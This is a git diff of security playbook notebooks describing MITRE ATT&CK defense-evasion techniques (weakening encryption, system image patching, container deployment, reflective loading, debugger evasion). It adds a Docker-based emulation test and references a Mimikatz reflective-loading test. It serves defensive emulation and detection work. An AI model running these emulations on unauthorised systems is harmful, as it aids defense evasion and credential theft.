b/playbook/tactics/defense-evasion/T1600.ipynb index ff5b79e7..c5408bdc 100644 --- a/playbook/tactics/defense-evasion/T1600.ipynb +++ b/playbook/tactics/defense-evasion/T1600.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "f1118a81", + "id": "660e28d2", "metadata": {}, "source": "# T1600 - Weaken Encryption\nAdversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)" }, { "cell_type": "markdown", - "id": "39ade37e", + "id": "553238eb", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "d35299cd", + "id": "e46f06a0", "metadata": {}, "source": "## Detection\nThere is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation." }, { "cell_type": "markdown", - "id": "93d6d5fe", + "id": "b1ec104f", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Monitoring \n Monitor network traffic in order to detect adversary activity. \n\n Network monitoring involves capturing network activity data, including capturing of server, firewall, and other relevant logs. A defender can then review them or send them to a centralized collection location for further analysis.\n#### Opportunity\nThere is an opportunity to monitor network traffic for different protocols, anomalous traffic patterns, transfer of data, etc. to determine the presence of an adversary.\n#### Use Case\nA defender can monitor network traffic for anomalies associated with known MiTM behavior.\n#### Procedures\nCapture network logs for internet-facing devices and send those logs to a central collection location.\nCapture all network device (router, switches, proxy, etc.) logs on a decoy network and send those logs to a central collection location.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1601.001.ipynb b/playbook/tactics/defense-evasion/T1601.001.ipynb index dc0009f2..5bf12cd4 100644 --- a/playbook/tactics/defense-evasion/T1601.001.ipynb +++ b/playbook/tactics/defense-evasion/T1601.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9bc4bb8c", + "id": "5ec221bb", "metadata": {}, "source": "# T1601.001 - Patch System Image\nAdversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. " }, { "cell_type": "markdown", - "id": "ae7d2571", + "id": "e8f00f5f", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "0364d341", + "id": "e5cf0e14", "metadata": {}, "source": "## Detection\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1601.002.ipynb b/playbook/tactics/defense-evasion/T1601.002.ipynb index e2e2753e..1f602add 100644 --- a/playbook/tactics/defense-evasion/T1601.002.ipynb +++ b/playbook/tactics/defense-evasion/T1601.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "bb645fd1", + "id": "8c0de5bf", "metadata": {}, "source": "# T1601.002 - Downgrade System Image\nAdversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). " }, { "cell_type": "markdown", - "id": "d17b8b0d", + "id": "b6ac1afc", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "43cc1c1a", + "id": "eae9fe7f", "metadata": {}, "source": "## Detection\nMany embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1601.ipynb b/playbook/tactics/defense-evasion/T1601.ipynb index ca9895f3..0c2ae574 100644 --- a/playbook/tactics/defense-evasion/T1601.ipynb +++ b/playbook/tactics/defense-evasion/T1601.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "b730b196", + "id": "331905a9", "metadata": {}, "source": "# T1601 - Modify System Image\nAdversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device." }, { "cell_type": "markdown", - "id": "5a4f1227", + "id": "a5d73697", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "36dce631", + "id": "e0d567f7", "metadata": {}, "source": "## Detection\nMost embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \n\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)" }, { "cell_type": "markdown", - "id": "ce6e38ff", + "id": "b5833dfa", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can use a decoy system to see if an adversary exploits vulnerable software in order to compromise the system.\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1610.ipynb b/playbook/tactics/defense-evasion/T1610.ipynb index 24ddb153..2e4aa4a8 100644 --- a/playbook/tactics/defense-evasion/T1610.ipynb +++ b/playbook/tactics/defense-evasion/T1610.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "f73886bb", + "id": "8f92a46c", "metadata": {}, "source": "# T1610 - Deploy Container\nAdversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)" }, { "cell_type": "markdown", - "id": "51b69c56", + "id": "54b9800d", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "357a6d75", + "id": "6bb15e8c", "metadata": {}, "source": "### Atomic Test #1 - Deploy Docker container\nAdversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime. They can do this using docker create and docker start commands. Kinsing & Doki was exploited using this technique. \n\n**Supported Platforms:** containers\n#### Dependencies: Run with `sh`!\n##### Description: Verify docker is installed.\n##### Check Prereq Commands:\n```bash\nwhich docker\n\n```\n##### Get Prereq Commands:\n```bash\nif [ \"\" == \"`which docker`\" ]; then echo \"Docker Not Found\"; if [ -n \"`which apt-get`\" ]; then sudo apt-get -y install docker ; elif [ -n \"`which yum`\" ]; then sudo yum -y install docker ; fi ; else echo \"Docker installed\"; fi\n\n```\n##### Description: Verify docker service is running.\n##### Check Prereq Commands:\n```bash\nsudo systemctl status docker --no-pager\n\n```\n##### Get Prereq Commands:\n```bash\nsudo systemctl start docker\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "daec99f1", + "id": "c542848c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1610 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8d4888bb", + "id": "baa99fd5", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5f9108b8", + "id": "b5ecc4dc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1610 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a0ba251d", + "id": "843e2b2a", "metadata": {}, "source": "#### Cleanup: \n```bash\ndocker stop t1610_container\ndocker rmi -f t1610:latest \n```" }, { "cell_type": "code", "execution_count": null, - "id": "c90de720", + "id": "16317d90", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1610 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "b3d5f254", + "id": "9cfbf672", "metadata": {}, "source": "## Detection\nMonitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1612.ipynb b/playbook/tactics/defense-evasion/T1612.ipynb index f3a5593a..b02ed62c 100644 --- a/playbook/tactics/defense-evasion/T1612.ipynb +++ b/playbook/tactics/defense-evasion/T1612.ipynb @@ -2,19 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "32d7545c", + "id": "0430bfd4", "metadata": {}, - "source": "# T1612 - Build Image on Host\nAdversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. " + "source": "# T1612 - Build Image on Host\nAdversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. " }, { "cell_type": "markdown", - "id": "469b728d", + "id": "fe64a4b5", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "d96c8927", + "id": "ae7931c4", + "metadata": {}, + "source": "### Atomic Test #1 - Build Image On Host\nAdversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize Deploy Container using that custom image.\n**Supported Platforms:** containers\n#### Dependencies: Run with `sh`!\n##### Description: Verify docker is installed.\n##### Check Prereq Commands:\n```sh\nwhich docker\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"\" == \"`which docker`\" ]; then echo \"Docker Not Found\"; if [ -n \"`which apt-get`\" ]; then sudo apt-get -y install docker ; elif [ -n \"`which yum`\" ]; then sudo yum -y install docker ; fi ; else echo \"Docker installed\"; fi\n\n```\n##### Description: Verify docker service is running.\n##### Check Prereq Commands:\n```sh\nsudo systemctl status docker --no-pager\n\n```\n##### Get Prereq Commands:\n```sh\nsudo systemctl start docker\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e4dbd2d2", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1612 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "20a5280a", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\ndocker build -t t1612 $PathtoAtomicsFolder/T1612/src/\ndocker run --name t1612_container -d -t t1612\ndocker exec t1612_container ./test.sh```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0b3a3278", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1612 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "39831f66", + "metadata": {}, + "source": "#### Cleanup: \n```sh\ndocker stop t1612_container\ndocker rmi -f t1612```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "fa5d847c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1612 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "44aac078", "metadata": {}, "source": "## Detection\nMonitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code." } @@ -22,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1620.ipynb b/playbook/tactics/defense-evasion/T1620.ipynb index 0c6ecc36..87cbd286 100644 --- a/playbook/tactics/defense-evasion/T1620.ipynb +++ b/playbook/tactics/defense-evasion/T1620.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "132118e4", + "id": "ca32cc4b", "metadata": {}, "source": "# T1620 - Reflective Code Loading\nAdversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)" }, { "cell_type": "markdown", - "id": "8d08dafa", + "id": "6208ae7c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "3a0e1d4d", + "id": "b6469258", "metadata": {}, "source": [ "### Atomic Test #1 - WinPwn - Reflectively load Mimik@tz into memory", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "2d4b2c45", + "id": "f8229c82", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1620 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c99b97fa", + "id": "37bbc575", "metadata": {}, "source": "## Detection\nMonitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\n\nMonitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -42,13 +42,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1622.ipynb b/playbook/tactics/defense-evasion/T1622.ipynb index d4f4fe11..7e396352 100644 --- a/playbook/tactics/defense-evasion/T1622.ipynb +++ b/playbook/tactics/defense-evasion/T1622.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "28dfc7e9", + "id": "cb322d98", "metadata": {}, "source": "# T1622 - Debugger Evasion\nAdversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)" }, { "cell_type": "markdown", - "id": "e2f33679", + "id": "cedabf81", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "efe44360", + "id": "e852f596", "metadata": {}, "source": "## Detection\nDebugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\n\nMonitor debugger logs for signs of abnormal and potentially malicious activity." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1647.ipynb b/playbook/tactics/defense-evasion/T1647.ipynb index ea846ed3..0702ca3b 100644 --- a/playbook/tactics/defense-evasion/T1647.ipynb +++ b/playbook/tactics/defense-evasion/T1647.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ec228af3", + "id": "cd2cfce6", "metadata": {}, "source": "# T1647 - Plist File Modification\nAdversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application\u2019s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)" }, { "cell_type": "markdown", - "id": "fdf0ae00", + "id": "ea3a15b4", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "23ee95da", + "id": "3e0de4c1", "metadata": {}, "source": [ "### Atomic Test #1 - Plist Modification", @@ -26,7 +26,7 @@ }, { "cell_type": "markdown", - "id": "cc352793", + "id": "a0829a7e", "metadata": {}, "source": "## Detection\nMonitor for common command-line editors used to modify plist files located in auto-run locations, such as \\~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. \n\nMonitor for plist file modification immediately followed by code execution from \\~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. " } @@ -34,13 +34,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1656.ipynb b/playbook/tactics/defense-evasion/T1656.ipynb new file mode 100644 index 00000000..5d7d087a --- /dev/null +++ b/playbook/tactics/defense-evasion/T1656.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "13627dbf", + "metadata": {}, + "source": "# T1656 - Impersonation\nAdversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary\u2019s ultimate goals, possibly against multiple victims. \n \nIn many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657).\n\nAdversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary\u2019s goal.\u202f\u202f \n \nImpersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589) and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001)) to substantiate their false identity.(Citation: CrowdStrike-BEC)\n \nThere is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)" + }, + { + "cell_type": "markdown", + "id": "ba4e6677", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for 